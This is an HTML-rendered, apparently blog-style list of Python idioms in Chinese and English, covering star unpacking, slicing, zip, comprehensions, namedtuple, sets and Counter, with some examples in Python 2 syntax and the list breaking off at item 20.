 <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path d="M15.273 19.469c-.662-.662-1.582-1.002-2.514-.931-1.767.137-3.58-.47-4.931-1.821-1.223-1.224-1.83-2.824-1.83-4.426 0-.604.086-1.208.258-1.792l3.771 3.771c1.912.417 4.652-2.353 4.242-4.242l-3.769-3.771c.583-.171 1.187-.257 1.79-.257 1.603 0 3.202.606 4.428 1.83 1.35 1.351 1.957 3.164 1.82 4.93-.072.933.268 1.853.93 2.514l2.843 2.843c1.066-1.793 1.689-3.88 1.689-6.117 0-6.627-5.373-12-12-12s-12 5.373-12 12 5.373 12 12 12c2.236 0 4.323-.623 6.115-1.688l-2.842-2.843z"/></svg>
 </div>解决方案

<p>使用python的“*表达式”可以解决这个问题。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">drop_first_last</span><span class="hljs-params">(grades)</span>:</span><br>	first,*middle,last = grades<br>	<span class="hljs-keyword">return</span> avg(middle)<br></code></pre></td></tr></table></figure>

<p><strong>在分解任意长度的可迭代对象时特别好用</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">records =[<br>	(<span class="hljs-string">'foo'</span>,<span class="hljs-number">1</span>,<span class="hljs-number">3</span>),<br>	(<span class="hljs-string">'bar'</span>,<span class="hljs-string">'hello'</span>),<br>	(<span class="hljs-string">'foo'</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>),<br>]<br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do_foo</span><span class="hljs-params">(x,y)</span>:</span><br>	print(<span class="hljs-string">'foo'</span>,x,y)<br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do_bar</span><span class="hljs-params">(s)</span>:</span><br>	print(<span class="hljs-string">'bar'</span>,s)<br><span class="hljs-keyword">for</span> tag,*args <span class="hljs-keyword">in</span> records:<br>	<span class="hljs-keyword">if</span> tag==<span class="hljs-string">'foo'</span>:<br>		do_foo(*args)<br>	<span class="hljs-keyword">elif</span> tag==<span class="hljs-string">'bar'</span>:<br>		do_bar(*args)<br></code></pre></td></tr></table></figure>

<ol start="2">
<li><strong>步进切片</strong><br>从列表中创建一定间隔的新列表</li>
</ol>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-meta">&gt;&gt;&gt; </span>a = [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[::<span class="hljs-number">2</span>]<br>[<span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>, <span class="hljs-number">8</span>, <span class="hljs-number">10</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[::<span class="hljs-number">3</span>]<br>[<span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">6</span>, <span class="hljs-number">9</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[<span class="hljs-number">2</span>:<span class="hljs-number">8</span>:<span class="hljs-number">2</span>]<br>[<span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">6</span>]<br></code></pre></td></tr></table></figure>

<p>list slice with step (a[start:end:step])</p>
<ol start="3">
<li><strong>生成倒叙的list</strong></li>
</ol>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-meta">&gt;&gt;&gt; </span>a = [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[::<span class="hljs-number">-1</span>]<br>[<span class="hljs-number">10</span>, <span class="hljs-number">9</span>, <span class="hljs-number">8</span>, <span class="hljs-number">7</span>, <span class="hljs-number">6</span>, <span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">3</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[::<span class="hljs-number">-2</span>]<br>[<span class="hljs-number">10</span>, <span class="hljs-number">8</span>, <span class="hljs-number">6</span>, <span class="hljs-number">4</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>]<br></code></pre></td></tr></table></figure>

<ol start="4">
<li><p><strong>命名切片的调用</strong><br>Naming slices (slice(start,end,step))</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-meta">&gt;&gt;&gt; </span>a = [<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>LASTTHREE = slice(<span class="hljs-number">-3</span>, <span class="hljs-literal">None</span>)<br><span class="hljs-meta">&gt;&gt;&gt; </span>LASTTHREE<br>slice(<span class="hljs-number">-3</span>, <span class="hljs-literal">None</span>, <span class="hljs-literal">None</span>)<br><span class="hljs-meta">&gt;&gt;&gt; </span>a[LASTTHREE]<br>[<span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>]<br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>遍历列表的索引和值</strong><br>Iterating over list index and value pairs (enumerate)</p>
</li>
</ol>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-meta">&gt;&gt;</span>&gt; a = [<span class="hljs-string">'Hello'</span>, <span class="hljs-string">'world'</span>, <span class="hljs-string">'!'</span>]<br><span class="hljs-meta">&gt;&gt;</span>&gt; for i, x in enumerate(a):<br>...     print <span class="hljs-string">'&#123;&#125;: &#123;&#125;'</span>.format(i, x)<br>...<br><span class="hljs-number">0</span>: Hello<br><span class="hljs-number">1</span>: world<br><span class="hljs-number">2</span>: !<br></code></pre></td></tr></table></figure>

<ol start="6">
<li><strong>遍历字典</strong><br>dict.iteritems</li>
</ol>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-meta">&gt;&gt;&gt; </span>m = &#123;<span class="hljs-string">'a'</span>: <span class="hljs-number">1</span>, <span class="hljs-string">'b'</span>: <span class="hljs-number">2</span>, <span class="hljs-string">'c'</span>: <span class="hljs-number">3</span>, <span class="hljs-string">'d'</span>: <span class="hljs-number">4</span>&#125;<br><span class="hljs-meta">&gt;&gt;&gt; </span><span class="hljs-keyword">for</span> k, v <span class="hljs-keyword">in</span> m.iteritems():<br><span class="hljs-meta">... </span>    <span class="hljs-keyword">print</span> <span class="hljs-string">'&#123;&#125;: &#123;&#125;'</span>.format(k, v)<br>...<br>a: <span class="hljs-number">1</span><br>c: <span class="hljs-number">3</span><br>b: <span class="hljs-number">2</span><br>d: <span class="hljs-number">4</span><br></code></pre></td></tr></table></figure>

<ol start="7">
<li><p><strong>压缩和解压缩列表</strong><br>Zipping and unzipping lists</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-meta">&gt;&gt;&gt; </span>a = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>b = [<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>]<br><span class="hljs-meta">&gt;&gt;&gt; </span>z = zip(a, b)<br><span class="hljs-meta">&gt;&gt;&gt; </span>z<br>[(<span class="hljs-number">1</span>, <span class="hljs-string">'a'</span>), (<span class="hljs-number">2</span>, <span class="hljs-string">'b'</span>), (<span class="hljs-number">3</span>, <span class="hljs-string">'c'</span>)]<br><span class="hljs-meta">&gt;&gt;&gt; </span>zip(*z)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>), (<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>)]<br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>使用zip分组相邻的列表项</strong><br>Grouping adjacent list items using zip</p>
</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript"><br>&gt;&gt;&gt; # Using iterators<br>&gt;&gt;&gt; group_adjacent = lambda a, k: zip(*([iter(a)] * k))<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">3</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>), (<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">2</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>), (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">1</span>)<br>[(<span class="hljs-number">1</span>,), (<span class="hljs-number">2</span>,), (<span class="hljs-number">3</span>,), (<span class="hljs-number">4</span>,), (<span class="hljs-number">5</span>,), (<span class="hljs-number">6</span>,)]<br><br><br>&gt;&gt;&gt; # Using slices<br>&gt;&gt;&gt; <span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> islice<br>&gt;&gt;&gt; group_adjacent = lambda a, k: zip(*(islice(a, i, None, k) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(k)))<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">3</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>), (<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">2</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>), (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; group_adjacent(a, <span class="hljs-number">1</span>)<br>[(<span class="hljs-number">1</span>,), (<span class="hljs-number">2</span>,), (<span class="hljs-number">3</span>,), (<span class="hljs-number">4</span>,), (<span class="hljs-number">5</span>,), (<span class="hljs-number">6</span>,)]<br></code></pre></td></tr></table></figure>

<ol start="9">
<li><strong>使用滑动窗口迭代器</strong><br>Sliding windows (nn -grams) using zip and iterators</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; <span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> islice<br>&gt;&gt;&gt; def n_grams(a, n):<br>...     z = (islice(a, i, None) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(n))<br>...     <span class="hljs-keyword">return</span> zip(*z)<br>...<br>&gt;&gt;&gt; a = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>]<br>&gt;&gt;&gt; n_grams(a, <span class="hljs-number">3</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>), (<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>), (<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; n_grams(a, <span class="hljs-number">2</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>), (<span class="hljs-number">2</span>, <span class="hljs-number">3</span>), (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">4</span>, <span class="hljs-number">5</span>), (<span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br>&gt;&gt;&gt; n_grams(a, <span class="hljs-number">4</span>)<br>[(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>), (<span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>)]<br></code></pre></td></tr></table></figure>

<ol start="10">
<li><p><strong>字典的键值反转</strong><br>Inverting a dictionary using zip</p>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-meta">&gt;&gt;</span>&gt; m = &#123;<span class="hljs-string">'a'</span>: <span class="hljs-number">1</span>, <span class="hljs-string">'b'</span>: <span class="hljs-number">2</span>, <span class="hljs-string">'c'</span>: <span class="hljs-number">3</span>, <span class="hljs-string">'d'</span>: <span class="hljs-number">4</span>&#125;<br><span class="hljs-meta">&gt;&gt;</span>&gt; m.items()<br>[(<span class="hljs-string">'a'</span>, <span class="hljs-number">1</span>), (<span class="hljs-string">'c'</span>, <span class="hljs-number">3</span>), (<span class="hljs-string">'b'</span>, <span class="hljs-number">2</span>), (<span class="hljs-string">'d'</span>, <span class="hljs-number">4</span>)]<br><span class="hljs-meta">&gt;&gt;</span>&gt; zip(m.values(), m.keys())<br>[(<span class="hljs-number">1</span>, <span class="hljs-string">'a'</span>), (<span class="hljs-number">3</span>, <span class="hljs-string">'c'</span>), (<span class="hljs-number">2</span>, <span class="hljs-string">'b'</span>), (<span class="hljs-number">4</span>, <span class="hljs-string">'d'</span>)]<br><span class="hljs-meta">&gt;&gt;</span>&gt; mi = dict(zip(m.values(), m.keys()))<br><span class="hljs-meta">&gt;&gt;</span>&gt; mi<br>&#123;<span class="hljs-number">1</span>: <span class="hljs-string">'a'</span>, <span class="hljs-number">2</span>: <span class="hljs-string">'b'</span>, <span class="hljs-number">3</span>: <span class="hljs-string">'c'</span>, <span class="hljs-number">4</span>: <span class="hljs-string">'d'</span>&#125;<br></code></pre></td></tr></table></figure>
</li>
<li><p><strong>展开列表</strong><br>Flattening lists</p>
</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; a = [[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>], [<span class="hljs-number">3</span>, <span class="hljs-number">4</span>], [<span class="hljs-number">5</span>, <span class="hljs-number">6</span>]]<br>&gt;&gt;&gt; list(itertools.chain.from_iterable(a))<br>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>]<br>&gt;&gt;&gt; sum(a, [])<br>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>]<br>&gt;&gt;&gt; [x <span class="hljs-keyword">for</span> l <span class="hljs-keyword">in</span> a <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> l]<br>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>]<br>&gt;&gt;&gt; a = [[[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>], [<span class="hljs-number">3</span>, <span class="hljs-number">4</span>]], [[<span class="hljs-number">5</span>, <span class="hljs-number">6</span>], [<span class="hljs-number">7</span>, <span class="hljs-number">8</span>]]]<br>&gt;&gt;&gt; [x <span class="hljs-keyword">for</span> l1 <span class="hljs-keyword">in</span> a <span class="hljs-keyword">for</span> l2 <span class="hljs-keyword">in</span> l1 <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> l2]<br>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>]<br>&gt;&gt;&gt; a = [<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, [<span class="hljs-number">3</span>, <span class="hljs-number">4</span>], [[<span class="hljs-number">5</span>, <span class="hljs-number">6</span>], [<span class="hljs-number">7</span>, <span class="hljs-number">8</span>]]]<br>&gt;&gt;&gt; flatten = lambda x: [y <span class="hljs-keyword">for</span> l <span class="hljs-keyword">in</span> x <span class="hljs-keyword">for</span> y <span class="hljs-keyword">in</span> flatten(l)] <span class="hljs-keyword">if</span> type(x) <span class="hljs-keyword">is</span> list <span class="hljs-keyword">else</span> [x]<br>&gt;&gt;&gt; flatten(a)<br>[<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>, <span class="hljs-number">8</span>]<br></code></pre></td></tr></table></figure>

<ol start="12">
<li><strong>生成器表达式</strong><br>Generator expressions</li>
</ol>
<figure class="highlight lisp"><table><tr><td class="code"><pre><code class="hljs lisp">&gt;&gt;&gt; g = (<span class="hljs-name">x</span> ** <span class="hljs-number">2</span> for x in xrange(<span class="hljs-number">10</span>))<br>&gt;&gt;&gt; next(<span class="hljs-name">g</span>)<br><span class="hljs-number">0</span><br>&gt;&gt;&gt; next(<span class="hljs-name">g</span>)<br><span class="hljs-number">1</span><br>&gt;&gt;&gt; next(<span class="hljs-name">g</span>)<br><span class="hljs-number">4</span><br>&gt;&gt;&gt; next(<span class="hljs-name">g</span>)<br><span class="hljs-number">9</span><br>&gt;&gt;&gt; sum(<span class="hljs-name">x</span> ** <span class="hljs-number">3</span> for x in xrange(<span class="hljs-number">10</span>))<br><span class="hljs-number">2025</span><br>&gt;&gt;&gt; sum(<span class="hljs-name">x</span> ** <span class="hljs-number">3</span> for x in xrange(<span class="hljs-number">10</span>) if x % <span class="hljs-number">3</span> == <span class="hljs-number">1</span>)<br><span class="hljs-number">408</span><br></code></pre></td></tr></table></figure>

<ol start="13">
<li><strong>字典推导式</strong><br>Dicitonary comprehensions</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; m = &#123;x: x ** <span class="hljs-number">2</span> <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)&#125;<br>&gt;&gt;&gt; m<br>&#123;<span class="hljs-number">0</span>: <span class="hljs-number">0</span>, <span class="hljs-number">1</span>: <span class="hljs-number">1</span>, <span class="hljs-number">2</span>: <span class="hljs-number">4</span>, <span class="hljs-number">3</span>: <span class="hljs-number">9</span>, <span class="hljs-number">4</span>: <span class="hljs-number">16</span>&#125;<br>&gt;&gt;&gt; m = &#123;x: <span class="hljs-string">'A'</span> + str(x) <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>)&#125;<br>&gt;&gt;&gt; m<br>&#123;<span class="hljs-number">0</span>: <span class="hljs-string">'A0'</span>, <span class="hljs-number">1</span>: <span class="hljs-string">'A1'</span>, <span class="hljs-number">2</span>: <span class="hljs-string">'A2'</span>, <span class="hljs-number">3</span>: <span class="hljs-string">'A3'</span>, <span class="hljs-number">4</span>: <span class="hljs-string">'A4'</span>, <span class="hljs-number">5</span>: <span class="hljs-string">'A5'</span>, <span class="hljs-number">6</span>: <span class="hljs-string">'A6'</span>, <span class="hljs-number">7</span>: <span class="hljs-string">'A7'</span>, <span class="hljs-number">8</span>: <span class="hljs-string">'A8'</span>, <span class="hljs-number">9</span>: <span class="hljs-string">'A9'</span>&#125;<br></code></pre></td></tr></table></figure>

<ol start="14">
<li><strong>使用字典推到式反转字典</strong><br>Inverting a dictionary using a dictionary comprehension</li>
</ol>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-meta">&gt;&gt;</span>&gt; m = &#123;<span class="hljs-string">'a'</span>: <span class="hljs-number">1</span>, <span class="hljs-string">'b'</span>: <span class="hljs-number">2</span>, <span class="hljs-string">'c'</span>: <span class="hljs-number">3</span>, <span class="hljs-string">'d'</span>: <span class="hljs-number">4</span>&#125;<br><span class="hljs-meta">&gt;&gt;</span>&gt; m<br>&#123;<span class="hljs-string">'d'</span>: <span class="hljs-number">4</span>, <span class="hljs-string">'a'</span>: <span class="hljs-number">1</span>, <span class="hljs-string">'b'</span>: <span class="hljs-number">2</span>, <span class="hljs-string">'c'</span>: <span class="hljs-number">3</span>&#125;<br><span class="hljs-meta">&gt;&gt;</span>&gt; &#123;<span class="hljs-symbol">v:</span> k for k, v in m.items()&#125;<br>&#123;<span class="hljs-number">1</span>: <span class="hljs-string">'a'</span>, <span class="hljs-number">2</span>: <span class="hljs-string">'b'</span>, <span class="hljs-number">3</span>: <span class="hljs-string">'c'</span>, <span class="hljs-number">4</span>: <span class="hljs-string">'d'</span>&#125;<br></code></pre></td></tr></table></figure>

<ol start="15">
<li><strong>命名元组的调用</strong><br>Named tuples (collections.namedtuple)</li>
</ol>
<figure class="highlight ruby"><table><tr><td class="code"><pre><code class="hljs ruby"><span class="hljs-meta">&gt;&gt;</span>&gt; Point = collections.namedtuple(<span class="hljs-string">'Point'</span>, [<span class="hljs-string">'x'</span>, <span class="hljs-string">'y'</span>])<br><span class="hljs-meta">&gt;&gt;</span>&gt; p = Point(x=<span class="hljs-number">1.0</span>, y=<span class="hljs-number">2.0</span>)<br><span class="hljs-meta">&gt;&gt;</span>&gt; p<br>Point(x=<span class="hljs-number">1.0</span>, y=<span class="hljs-number">2.0</span>)<br><span class="hljs-meta">&gt;&gt;</span>&gt; p.x<br><span class="hljs-number">1.0</span><br><span class="hljs-meta">&gt;&gt;</span>&gt; p.y<br><span class="hljs-number">2.0</span><br></code></pre></td></tr></table></figure>


<ol start="16">
<li><strong>从命名元组继承</strong><br>inheriting from named tuples</li>
</ol>
<figure class="highlight reasonml"><table><tr><td class="code"><pre><code class="hljs reasonml">&gt;&gt;&gt; <span class="hljs-keyword">class</span> <span class="hljs-constructor">Point(<span class="hljs-params">collections</span>.<span class="hljs-params">namedtuple</span>('PointBase', ['<span class="hljs-params">x</span>', '<span class="hljs-params">y</span>'])</span>):<span class="hljs-operator"><br>...     </span>__slots__ = <span class="hljs-literal">()</span><span class="hljs-operator"><br>...     </span>def <span class="hljs-constructor">__add__(<span class="hljs-params">self</span>, <span class="hljs-params">other</span>)</span>:<span class="hljs-operator"><br>...             </span>return <span class="hljs-constructor">Point(<span class="hljs-params">x</span>=<span class="hljs-params">self</span>.<span class="hljs-params">x</span> + <span class="hljs-params">other</span>.<span class="hljs-params">x</span>, <span class="hljs-params">y</span>=<span class="hljs-params">self</span>.<span class="hljs-params">y</span> + <span class="hljs-params">other</span>.<span class="hljs-params">y</span>)</span><br>&gt;&gt;&gt; p = <span class="hljs-constructor">Point(<span class="hljs-params">x</span>=1.0, <span class="hljs-params">y</span>=2.0)</span><br>&gt;&gt;&gt; q = <span class="hljs-constructor">Point(<span class="hljs-params">x</span>=2.0, <span class="hljs-params">y</span>=3.0)</span><br>&gt;&gt;&gt; p + q<br><span class="hljs-constructor">Point(<span class="hljs-params">x</span>=3.0, <span class="hljs-params">y</span>=5.0)</span><br></code></pre></td></tr></table></figure>

<ol start="17">
<li><strong>集合的使用</strong><br>sets and set operations</li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; A = &#123;<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>&#125;<br>&gt;&gt;&gt; A<br><span class="hljs-keyword">set</span>([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>])<br>&gt;&gt;&gt; B = &#123;<span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>&#125;<br>&gt;&gt;&gt; B<br><span class="hljs-keyword">set</span>([<span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>])<br>&gt;&gt;&gt; A | B<br><span class="hljs-keyword">set</span>([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>])<br>&gt;&gt;&gt; A &amp; B<br><span class="hljs-keyword">set</span>([<span class="hljs-number">3</span>])<br>&gt;&gt;&gt; A - B<br><span class="hljs-keyword">set</span>([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>])<br>&gt;&gt;&gt; B - A<br><span class="hljs-keyword">set</span>([<span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>])<br>&gt;&gt;&gt; A ^ B<br><span class="hljs-keyword">set</span>([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>])<br>&gt;&gt;&gt; (A ^ B) == ((A - B) | (B - A))<br>True<br></code></pre></td></tr></table></figure>

<ol start="18">
<li><strong>集合的操作</strong></li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; A = collections.Counter([<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>])<br>&gt;&gt;&gt; B = collections.Counter([<span class="hljs-number">2</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>])<br>&gt;&gt;&gt; A<br>Counter(&#123;<span class="hljs-number">2</span>: <span class="hljs-number">2</span>, <span class="hljs-number">1</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; B<br>Counter(&#123;<span class="hljs-number">2</span>: <span class="hljs-number">2</span>, <span class="hljs-number">3</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; A | B<br>Counter(&#123;<span class="hljs-number">2</span>: <span class="hljs-number">2</span>, <span class="hljs-number">1</span>: <span class="hljs-number">1</span>, <span class="hljs-number">3</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; A &amp; B<br>Counter(&#123;<span class="hljs-number">2</span>: <span class="hljs-number">2</span>&#125;)<br>&gt;&gt;&gt; A + B<br>Counter(&#123;<span class="hljs-number">2</span>: <span class="hljs-number">4</span>, <span class="hljs-number">1</span>: <span class="hljs-number">1</span>, <span class="hljs-number">3</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; A - B<br>Counter(&#123;<span class="hljs-number">1</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; B - A<br>Counter(&#123;<span class="hljs-number">3</span>: <span class="hljs-number">1</span>&#125;)<br></code></pre></td></tr></table></figure>

<ol start="19">
<li><strong>可迭代对象的计数</strong></li>
</ol>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript">&gt;&gt;&gt; A = collections.Counter([<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>, <span class="hljs-number">6</span>, <span class="hljs-number">7</span>])<br>&gt;&gt;&gt; A<br>Counter(&#123;<span class="hljs-number">3</span>: <span class="hljs-number">4</span>, <span class="hljs-number">1</span>: <span class="hljs-number">2</span>, <span class="hljs-number">2</span>: <span class="hljs-number">2</span>, <span class="hljs-number">4</span>: <span class="hljs-number">1</span>, <span class="hljs-number">5</span>: <span class="hljs-number">1</span>, <span class="hljs-number">6</span>: <span class="hljs-number">1</span>, <span class="hljs-number">7</span>: <span class="hljs-number">1</span>&#125;)<br>&gt;&gt;&gt; A.most_common(<span class="hljs-number">1</span>)<br>[(<span class="hljs-number">3</span>, <span class="hljs-number">4</span>)]<br>&gt;&gt;&gt; A.most_common(<span class="hljs-number">3</span>)<br>[(<span class="hljs-number">3</span>, <span class="hljs-number">4</span>), (<span class="hljs-number">1</span>, <span class="hljs-number">2</span>), (<span class="hljs-number">2</span>, <span class="hljs-number">2</span>)]<br></code></pre></td></tr></table></figure>

<ol start="20">
<li><strong>双端队列</strong><br>double-ended queue </li>
</ol>
